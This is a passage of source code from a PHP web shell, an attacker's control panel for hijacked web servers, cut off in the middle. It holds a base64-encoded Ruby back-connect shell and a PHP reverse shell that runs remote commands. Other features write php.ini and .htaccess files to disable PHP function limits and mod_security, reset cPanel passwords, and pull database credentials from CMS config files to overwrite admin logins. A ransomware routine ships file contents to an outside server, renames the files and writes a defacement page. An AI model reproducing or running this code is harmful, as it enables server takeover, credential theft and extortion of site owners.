QoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k\");\r\n\t\t\$pbcaak = @fopen('bcruby.rb','w');\r\n\t\tfwrite(\$pbcaak,\$becaak);\r\n\t\t\$out2 = exe(\"ruby bcruby.rb \".\$_POST['server'].\" \".\$_POST['port']);\r\n\t\tsleep(1);\r\n\t\techo \"<pre class='text-light'>\$out2\\n\".exe(\"ps aux | grep bcruby.rb\").\"</pre>\";\r\n\t\tunlink(\"bcruby.rb\");\r\n\t}\r\n\tif(\$_POST['backconnect'] == 'php'){\r\n\t\t\$ip = \$_POST['server'];\r\n\t\t\$port = \$_POST['port'];\r\n\t\t\$sockfd = fsockopen(\$ip , \$port , \$errno, \$errstr );\r\n\t\tif(\$errno != 0){\r\n\t\t\techo \"<font color='red'>\$errno : \$errstr</font>\";\r\n\t\t}else if (!\$sockfd){\r\n\t\t\t\$result = \"<p>Unexpected Error has occured, connection may have failed.</p>\";\r\n\t\t}else{\r\n\t\t\tfputs (\$sockfd ,\"\r\n\t\t\t\\n{#######################################}\r\n\t\t\t\\n..:: BackConnect PHP By AngkolVen ::..\r\n\t\t\t\\n{#######################################}\\n\");\r\n\t\t\t\$dir = @shell_exec(\"pwd\");\r\n\t\t\t\$sysinfo = @shell_exec(\"uname -a\");\r\n\t\t\t\$time = @Shell_exec(\"time\");\r\n\t\t\t\$len = 1337;\r\n\t\t\tfputs(\$sockfd, \"User \", \$sysinfo, \"connected @ \", \$time, \"\\n\\n\");\r\n\t\t\twhile(!feof(\$sockfd)){\r\n\t\t\t\t\$cmdPrompt = '[kuda]#:> ';\r\n\t\t\t\t@fputs (\$sockfd , \$cmdPrompt );\r\n\t\t\t\t\$command= fgets(\$sockfd, \$len);\r\n\t\t\t\t@fputs(\$sockfd , \"\\n\" . @shell_exec(\$command) . \"\\n\\n\");\r\n\t\t\t}\r\n\t\t\t@fclose(\$sockfd);\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction disabFunc(\$dir,\$file){\r\n\techo \"<div class='card card-body text-center text-dark'>\r\n\t\t<h4 class='text-center mt-2 mb-3'>Bypass Disable Functions</h2>\r\n\t\t<form method='POST'>\r\n\t\t\t<input type='submit' class='btn btn-danger' name='ini' value='php.ini'/>\r\n\t\t\t<input type='submit' class='btn btn-danger' name='htce' value='.htaccess'/>\r\n\t\t\t<input type='submit' class='btn btn-danger' name='litini' value='Litespeed'/>\r\n\t\t</form>\";\r\n\t\tif(isset(\$_POST['ini'])){\r\n\t\t\t\$file = fopen(\"php.ini\",\"w\");\r\n\t\t\techo fwrite(\$file,\"safe_mode = OFF\\ndisable_functions = NONE\");\r\n\t\t\tfclose(\$file);\r\n\t\t\techo \"<a href='php.ini' class='btn btn-Success btn-block' target='_blank'>Klik Coeg!</a>\";\r\n\t\t}elseif(isset(\$_POST['htce'])){\r\n\t\t\t\$file = fopen(\".htaccess\",\"w\");\r\n\t\t\techo fwrite(\$file,\"<IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n</IfModule>\");\r\n\t\t\tfclose(\$file);\r\n\t\t\techo \"<p>.htaccess Successfully created!</p>\";\r\n\t\t}elseif(isset(\$_POST['litini'])){\r\n\t\t\t\$iniph = \"PD8gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbImZpbGUiXSk7DQplY2hvIGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQplY2hvIGluY2x1ZGUoJF9HRVRbInNzIl07DQo/Pg==\";\r\n\t\t\t\$byph = \"safe_mode = OFF\\ndisable_functions = NONE\";\r\n\t\t\t\$comp = \"<Files *.php>\\nForceType application/x-httpd-php4\\n</Files>\";\r\n\t\t\tfile_put_contents(\"php.ini\",\$byph);\r\n\t\t\tfile_put_contents(\"ini.php\",\$iniph);\r\n\t\t\tfile_put_contents(\".htaccess\",\$comp);\r\n\t\t\t\$swa = \"Success\";\r\n\t\t\t\$text = \"Disable Functions in Litespeed Created\";\r\n\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t}\r\n\techo \"</div>\";\r\n}\r\nfunction resetCp(\$dir){\r\n\techo '<h5 class=\"text-center mb-4\"><i class=\"fa fa-key\"></i> Auto Reset Password Cpanel</h5>\r\n\t<form method=\"POST\">\r\n\t\t<div class=\"form-group input-group\">\r\n\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t<div class=\"input-group-text\"><i class=\"fa fa-envelope\"></i></div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type=\"email\" name=\"email\" class=\"form-control\" placeholder=\"Your Email\"/>\r\n\t\t\t</div>\r\n\t\t\t<input type=\"submit\" name=\"submit\" class=\"btn btn-danger btn-block\" value=\"Send\"/>\r\n\t\t</div>\r\n\t</form>';\r\n\tif(isset(\$_POST['submit'])){\r\n\t\t\$user = get_current_user();\r\n\t\t\$site = \$_SERVER['HTTP_HOST'];\r\n\t\t\$ips = getenv('REMOTE_ADDR');\r\n\t\t\$email = \$_POST['email'];\r\n\t\t\$wr = 'email:'.\$email;\r\n\t\t\$f = fopen('/home/'.\$user.'/.cpanel/contactinfo', 'w');\r\n\t\t@fwrite(\$f, \$wr); \r\n\t\t@fclose(\$f);\r\n\t\t\$f = fopen('/home/'.\$user.'/.contactinfo', 'w');\r\n\t\t@fwrite(\$f, \$wr); \r\n\t\t@fclose(\$f);\r\n\t\t\$parm = \$site.':2082/resetpass?start=1';\r\n\t\techo '<br/>Url: '.\$parm.'';\r\n\t\techo '<br/>Username: '.\$user.'';\r\n\t\techo '<br/>Success Reset To: '.\$email.'<br/><br/>';\r\n\t}\r\n\texit;\r\n}\r\nfunction autoEdit(\$dir,\$file){\r\n\tif(\$_POST['hajar']){\r\n\t\tif(strlen(\$_POST['pass_baru']) < 6 OR strlen(\$_POST['user_baru']) < 6){\r\n\t\t\techo \"Username dan Password harus lebih dari 6 karakter\";\r\n\t\t}else{\r\n\t\t\t\$user_baru = \$_POST['user_baru'];\r\n\t\t\t\$pass_baru = md5(\$_POST['pass_baru']);\r\n\t\t\t\$conf = \$_POST['config_dir'];\r\n\t\t\t\$scan_conf = scandir(\$conf);\r\n\t\t\tforeach(\$scan_conf as \$file_conf){\r\n\t\t\t\tif(!is_file(\"\$conf/\$file_conf\")) continue;\r\n\t\t\t\t\$config = file_get_contents(\"\$conf/\$file_conf\");\r\n\t\t\t\tif(preg_match(\"/JConfig|joomla/\",\$config)){\r\n\t\t\t\t\t\$dbhost = ambilkata(\$config,\"host = '\",\"'\");\r\n\t\t\t\t\t\$dbuser = ambilkata(\$config,\"user = '\",\"'\");\r\n\t\t\t\t\t\$dbpass = ambilkata(\$config,\"password = '\",\"'\");\r\n\t\t\t\t\t\$dbname = ambilkata(\$config,\"db = '\",\"'\");\r\n\t\t\t\t\t\$dbprefix = ambilkata(\$config,\"dbprefix = '\",\"'\");\r\n\t\t\t\t\t\$prefix = \$dbprefix.\"users\";\r\n\t\t\t\t\t\$conn = mysql_connect(\$dbhost,\$dbuser,\$dbpass);\r\n\t\t\t\t\t\$db = mysql_select_db(\$dbname);\r\n\t\t\t\t\t\$q = mysql_query(\"SELECT * FROM \$prefix ORDER BY id ASC\");\r\n\t\t\t\t\t\$result = mysql_fetch_array(\$q);\r\n\t\t\t\t\t\$id = \$result['id'];\r\n\t\t\t\t\t\$site = ambilkata(\$config,\"sitename = '\",\"'\");\r\n\t\t\t\t\t\$update = mysql_query(\"UPDATE \$prefix SET username='\$user_baru',password='\$pass_baru' WHERE id='\$id'\");\r\n\t\t\t\t\techo \"Config => \".\$file_conf.\"<br>\";\r\n\t\t\t\t\techo \"CMS => Joomla<br>\";\r\n\t\t\t\t\tif(\$site == ''){\r\n\t\t\t\t\t\techo \"Sitename => <font color=red>Error, Can't take the domain name</font><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo \"Sitename => \$site<br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(!\$update OR !\$conn OR !\$db){\r\n\t\t\t\t\t\techo \"Status => <font color=red>\".mysql_Error().\"</font><br><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo \"Status => <font color=lime>Success, Please login with a new User & Password.</font><br><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close(\$conn);\r\n\t\t\t\t}elseif(preg_match(\"/WordPress/\",\$config)){\r\n\t\t\t\t\t\$dbhost = ambilkata(\$config,\"DB_HOST', '\",\"'\");\r\n\t\t\t\t\t\$dbuser = ambilkata(\$config,\"DB_USER', '\",\"'\");\r\n\t\t\t\t\t\$dbpass = ambilkata(\$config,\"DB_PASSWORD', '\",\"'\");\r\n\t\t\t\t\t\$dbname = ambilkata(\$config,\"DB_NAME', '\",\"'\");\r\n\t\t\t\t\t\$dbprefix = ambilkata(\$config,\"table_prefix = '\",\"'\");\r\n\t\t\t\t\t\$prefix = \$dbprefix.\"users\";\r\n\t\t\t\t\t\$option = \$dbprefix.\"options\";\r\n\t\t\t\t\t\$conn = mysql_connect(\$dbhost,\$dbuser,\$dbpass);\r\n\t\t\t\t\t\$db = mysql_select_db(\$dbname);\r\n\t\t\t\t\t\$q = mysql_query(\"SELECT * FROM \$prefix ORDER BY id ASC\");\r\n\t\t\t\t\t\$result = mysql_fetch_array(\$q);\r\n\t\t\t\t\t\$id = \$result[ID];\r\n\t\t\t\t\t\$q2 = mysql_query(\"SELECT * FROM \$option ORDER BY option_id ASC\");\r\n\t\t\t\t\t\$result2 = mysql_fetch_array(\$q2);\r\n\t\t\t\t\t\$target = \$result2[option_value];\r\n\t\t\t\t\tif(\$target == ''){\r\n\t\t\t\t\t\$url_target = \"Login => <font color=red>Error, Could not retrieve the domain name</font><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\$url_target = \"Login => <a href='\$target/wp-login.php' target='_blank'><u>\$target/wp-login.php</u></a><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$update = mysql_query(\"UPDATE \$prefix SET user_login='\$user_baru',user_pass='\$pass_baru' WHERE id='\$id'\");\r\n\t\t\t\t\techo \"Config => \".\$file_conf.\"<br>\";\r\n\t\t\t\t\techo \"CMS => Wordpress<br>\";\r\n\t\t\t\t\techo \$url_target;\r\n\t\t\t\t\tif(!\$update OR !\$conn OR !\$db){\r\n\t\t\t\t\t\techo \"Status => <font color=red>\".mysql_Error().\"</font><br><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo \"Status => <font color=lime>Success, Please login with a new User & Password.</font><br><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close(\$conn);\r\n\t\t\t\t}elseif(preg_match(\"/Magento|Mage_Core/\",\$config)){\r\n\t\t\t\t\t\$dbhost = ambilkata(\$config,\"<host><![CDATA[\",\"]]></host>\");\r\n\t\t\t\t\t\$dbuser = ambilkata(\$config,\"<username><![CDATA[\",\"]]></username>\");\r\n\t\t\t\t\t\$dbpass = ambilkata(\$config,\"<password><![CDATA[\",\"]]></password>\");\r\n\t\t\t\t\t\$dbname = ambilkata(\$config,\"<dbname><![CDATA[\",\"]]></dbname>\");\r\n\t\t\t\t\t\$dbprefix = ambilkata(\$config,\"<table_prefix><![CDATA[\",\"]]></table_prefix>\");\r\n\t\t\t\t\t\$prefix = \$dbprefix.\"admin_user\";\r\n\t\t\t\t\t\$option = \$dbprefix.\"core_config_data\";\r\n\t\t\t\t\t\$conn = mysql_connect(\$dbhost,\$dbuser,\$dbpass);\r\n\t\t\t\t\t\$db = mysql_select_db(\$dbname);\r\n\t\t\t\t\t\$q = mysql_query(\"SELECT * FROM \$prefix ORDER BY user_id ASC\");\r\n\t\t\t\t\t\$result = mysql_fetch_array(\$q);\r\n\t\t\t\t\t\$id = \$result[user_id];\r\n\t\t\t\t\t\$q2 = mysql_query(\"SELECT * FROM \$option WHERE path='web/secure/base_url'\");\r\n\t\t\t\t\t\$result2 = mysql_fetch_array(\$q2);\r\n\t\t\t\t\t\$target = \$result2[value];\r\n\t\t\t\t\tif(\$target == ''){\r\n\t\t\t\t\t\t\$url_target = \"Login => <font color=red>Error, Could not retrieve the domain name</font><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\$url_target = \"Login => <a href='\$target/admin/' target='_blank'><u>\$target/admin/</u></a><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$update = mysql_query(\"UPDATE \$prefix SET username='\$user_baru',password='\$pass_baru' WHERE user_id='\$id'\");\r\n\t\t\t\t\techo \"Config => \".\$file_conf.\"<br>\";\r\n\t\t\t\t\techo \"CMS => Magento<br>\";\r\n\t\t\t\t\techo \$url_target;\r\n\t\t\t\t\tif(!\$update OR !\$conn OR !\$db){\r\n\t\t\t\t\t\techo \"Status => <font color=red>\".mysql_Error().\"</font><br><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo \"Status => <font color=lime>Success, Please login with a new User & Password.</font><br><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close(\$conn);\r\n\t\t\t\t}elseif(preg_match(\"/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/\",\$config)){\r\n\t\t\t\t\t\$dbhost = ambilkata(\$config,\"'DB_HOSTNAME', '\",\"'\");\r\n\t\t\t\t\t\$dbuser = ambilkata(\$config,\"'DB_USERNAME', '\",\"'\");\r\n\t\t\t\t\t\$dbpass = ambilkata(\$config,\"'DB_PASSWORD', '\",\"'\");\r\n\t\t\t\t\t\$dbname = ambilkata(\$config,\"'DB_DATABASE', '\",\"'\");\r\n\t\t\t\t\t\$dbprefix = ambilkata(\$config,\"'DB_PREFIX', '\",\"'\");\r\n\t\t\t\t\t\$prefix = \$dbprefix.\"user\";\r\n\t\t\t\t\t\$conn = mysql_connect(\$dbhost,\$dbuser,\$dbpass);\r\n\t\t\t\t\t\$db = mysql_select_db(\$dbname);\r\n\t\t\t\t\t\$q = mysql_query(\"SELECT * FROM \$prefix ORDER BY user_id ASC\");\r\n\t\t\t\t\t\$result = mysql_fetch_array(\$q);\r\n\t\t\t\t\t\$id = \$result[user_id];\r\n\t\t\t\t\t\$target = ambilkata(\$config,\"HTTP_SERVER', '\",\"'\");\r\n\t\t\t\t\tif(\$target == ''){\r\n\t\t\t\t\t\t\$url_target = \"Login => <font color=red>Error, Could not retrieve the domain name</font><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\$url_target = \"Login => <a href='\$target' target='_blank'><u>\$target</u></a><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$update = mysql_query(\"UPDATE \$prefix SET username='\$user_baru',password='\$pass_baru' WHERE user_id='\$id'\");\r\n\t\t\t\t\techo \"Config => \".\$file_conf.\"<br>\";\r\n\t\t\t\t\techo \"CMS => OpenCart<br>\";\r\n\t\t\t\t\techo \$url_target;\r\n\t\t\t\t\tif(!\$update OR !\$conn OR !\$db){\r\n\t\t\t\t\t\techo \"Status => <font color=red>\".mysql_Error().\"</font><br><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo \"Status => <font color=lime>Success, Please log in with the new User & Password.</font><br><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close(\$conn);\r\n\t\t\t\t}elseif(preg_match(\"/panggil fungsi validasi xss dan injection/\",\$config)){\r\n\t\t\t\t\t\$dbhost = ambilkata(\$config,'server = \"','\"');\r\n\t\t\t\t\t\$dbuser = ambilkata(\$config,'username = \"','\"');\r\n\t\t\t\t\t\$dbpass = ambilkata(\$config,'password = \"','\"');\r\n\t\t\t\t\t\$dbname = ambilkata(\$config,'database = \"','\"');\r\n\t\t\t\t\t\$prefix = \"users\";\r\n\t\t\t\t\t\$option = \"identity\";\r\n\t\t\t\t\t\$conn = mysql_connect(\$dbhost,\$dbuser,\$dbpass);\r\n\t\t\t\t\t\$db = mysql_select_db(\$dbname);\r\n\t\t\t\t\t\$q = mysql_query(\"SELECT * FROM \$option ORDER BY id_identity ASC\");\r\n\t\t\t\t\t\$result = mysql_fetch_array(\$q);\r\n\t\t\t\t\t\$target = \$result[alamat_website];\r\n\t\t\t\t\tif(\$target == ''){\r\n\t\t\t\t\t\t\$target2 = \$result[url];\r\n\t\t\t\t\t\t\$url_target = \"Login => <font color=red>Error, Could not retrieve the domain name</font><br>\";\r\n\t\t\t\t\t\tif(\$target2 == ''){\r\n\t\t\t\t\t\t\t\$url_target2 = \"Login => <font color=red>Error, Could not retrieve the domain name</font><br>\";\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\$cek_login3 = file_get_contents(\"\$target2/adminweb/\");\r\n\t\t\t\t\t\t\t\$cek_login4 = file_get_contents(\"\$target2/lokomedia/adminweb/\");\r\n\t\t\t\t\t\t\tif(preg_match(\"/CMS Lokomedia|Administrator/\", \$cek_login3)){\r\n\t\t\t\t\t\t\t\t\$url_target2 = \"Login => <a href='\$target2/adminweb' target='_blank'><u>\$target2/adminweb</u></a><br>\";\r\n\t\t\t\t\t\t\t}elseif(preg_match(\"/CMS Lokomedia|Lokomedia/\", \$cek_login4)){\r\n\t\t\t\t\t\t\t\t\$url_target2 = \"Login => <a href='\$target2/lokomedia/adminweb' target='_blank'><u>\$target2/lokomedia/adminweb</u></a><br>\";\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t\$url_target2 = \"Login => <a href='\$target2' target='_blank'><u>\$target2</u></a> [ <font color=red>or admin login where is it</font> ]<br>\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\$cek_login = file_get_contents(\"\$target/adminweb/\");\r\n\t\t\t\t\t\t\$cek_login2 = file_get_contents(\"\$target/lokomedia/adminweb/\");\r\n\t\t\t\t\t\tif(preg_match(\"/CMS Lokomedia|Administrator/\", \$cek_login)){\r\n\t\t\t\t\t\t\t\$url_target = \"Login => <a href='\$target/adminweb' target='_blank'><u>\$target/adminweb</u></a><br>\";\r\n\t\t\t\t\t\t}elseif(preg_match(\"/CMS Lokomedia|Lokomedia/\", \$cek_login2)){\r\n\t\t\t\t\t\t\t\$url_target = \"Login => <a href='\$target/lokomedia/adminweb' target='_blank'><u>\$target/lokomedia/adminweb</u></a><br>\";\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\$url_target = \"Login => <a href='\$target' target='_blank'><u>\$target</u></a> [ <font color=red>Or admin login where is it</font> ]<br>\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$update = mysql_query(\"UPDATE \$prefix SET username='\$user_baru',password='\$pass_baru' WHERE level='admin'\");\r\n\t\t\t\t\techo \"Config => \".\$file_conf.\"<br>\";\r\n\t\t\t\t\techo \"CMS => Lokomedia<br>\";\r\n\t\t\t\t\tif(preg_match('/Error, Could not retrieve the domain name./', \$url_target)){\r\n\t\t\t\t\t\techo \$url_target2;\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo \$url_target;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(!\$update OR !\$conn OR !\$db){\r\n\t\t\t\t\t\techo \"Status => <font color=red>\".mysql_Error().\"</font><br><br>\";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo \"Status => <font color=lime>Success, You can now login :\\</font><br><br>\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close(\$conn);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}else{\r\n\t\techo \"<h3 class='text-center mb-4'>Auto Edit User</h3>\r\n\t\t<form method='post'>\r\n\t\t\t<h5>DIR Location Config</h5>\r\n\t\t\t<input type='text' class='form-control mb-3' name='config_dir' value='\$dir'>\r\n\t\t\t<h5>Set User & Pass :</h5>\r\n\t\t\t<input type='text' name='user_baru' value='AnonPrixor' class='form-control mb-3' placeholder='Set Username'>\r\n\t\t\t<input type='text' name='pass_baru' value='AnonPrixor' class='form-control mb-4' placeholder='Set Password'>\r\n\t\t\t<input type='submit' name='hajar' value='Edit User' class='btn btn-danger btn-block'>\r\n\t\t</form>\r\n\t\t<p class='text-muted mb-4'>This tool works if it is run, in the config folder <u>config</u> ( ex: /home/user/public_html/name_folder_config )</p>\";\r\n\t}\r\n\texit;\r\n}\r\nfunction ransom(\$dir,\$file){\r\n\tif(isset(\$_POST[\"encrypt\"])) {\r\n\t\t\$dir = \$_POST[\"path\"];\r\n\t\techo\"<textarea class='form-control mb-4' rows='13' disabled=''>\";\r\n\t\tfunction listFolderFiles(\$dir){\r\n\t\t\tif (is_dir(\$dir)) {\r\n\t\t\t\t\$ffs = scandir(\$dir);\r\n\t\t\t\tunset(\$ffs[array_search('.', \$ffs, true)]);\r\n\t\t\t\tunset(\$ffs[array_search('..', \$ffs, true)]);\r\n\t\t\t\tif (count(\$ffs) < 1)\r\n\t\t\t\treturn;\r\n\t\t\t\tforeach(\$ffs as \$ff){\r\n\t\t\t\t\t\$files = \$dir.\"/\".\$ff;\r\n\t\t\t\t\tif(!is_dir(\$files)){\r\n\t\t\t\t\t\t/* encrypt file */\r\n\t\t\t\t\t\t\$file = file_get_contents(\$files);\r\n\t\t\t\t\t\t\$_a = base64_encode(\$file);\r\n\t\t\t\t\t\t/* proses curl */\r\n\t\t\t\t\t\t\$ch = curl_init();\r\n\t\t\t\t\t\tcurl_setopt(\$ch, CURLOPT_URL, 'http://encrypt.indsc.me/api.php?type=encrypt');\r\n\t\t\t\t\t\tcurl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t\t\t\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS, \"text=\$_a\");\r\n\t\t\t\t\t\t\$x = json_decode(curl_exec(\$ch));\r\n\t\t\t\t\t\tif(\$x->status == 'Success'){\r\n\t\t\t\t\t\t\t\$_enc = base64_decode(\$x->data);\r\n\t\t\t\t\t\t\trename(\$files, \$files. \".indsc\");\r\n\t\t\t\t\t\t\techo \"[+]\$files => Success Encrypted\\n\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(is_dir(\$dir.'/'.\$ff)) listFolderFiles(\$dir.'/'.\$ff);\r\n\t\t\t\t}\r\n\t\t\t\t\$index = file_get_contents('https://pastebin.com/raw/aGZ6BeTH');\r\n\t\t\t\t\$_o = fopen(\$dir.\"/index.html\", \"w\");\r\n\t\t\t\tfwrite(\$_o, \$index);\r\n\t\t\t\tfclose(\$_o);\r\n\t\t\t\techo \"\\n[+] Done !\";\r\n\t\t\t}else{\r\n\t\t\t\techo \"\\nBukan dir\";\r\n\t\t\t}\r\n\t\t}\r\n\t\tlistFolderFiles(\$dir);\r\n\t\techo \"</textarea><br/>\";\r\n\t}else{\r\n\t\techo '<form method=\"post\">\r\n\t\t\t<div class=\"form-group\">\r\n\t\t\t\t<h4 class=\"text-center mb-4\"><i class=\"fa fa-lock\"></i> Ransomware</h4>\r\n\t\t\t\t<label>Pilih Directory :</label>\r\n\t\t\t\t<div class=\"form-group input-group\">\r\n\t\t\t\t\t<div class=\"input-group-prepend\">\r\n\t\t\t\t\t\t<div class=\"input-group-text\"><i class=\"fa fa-home\"></i></div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<input type=\"text\" name=\"path\" 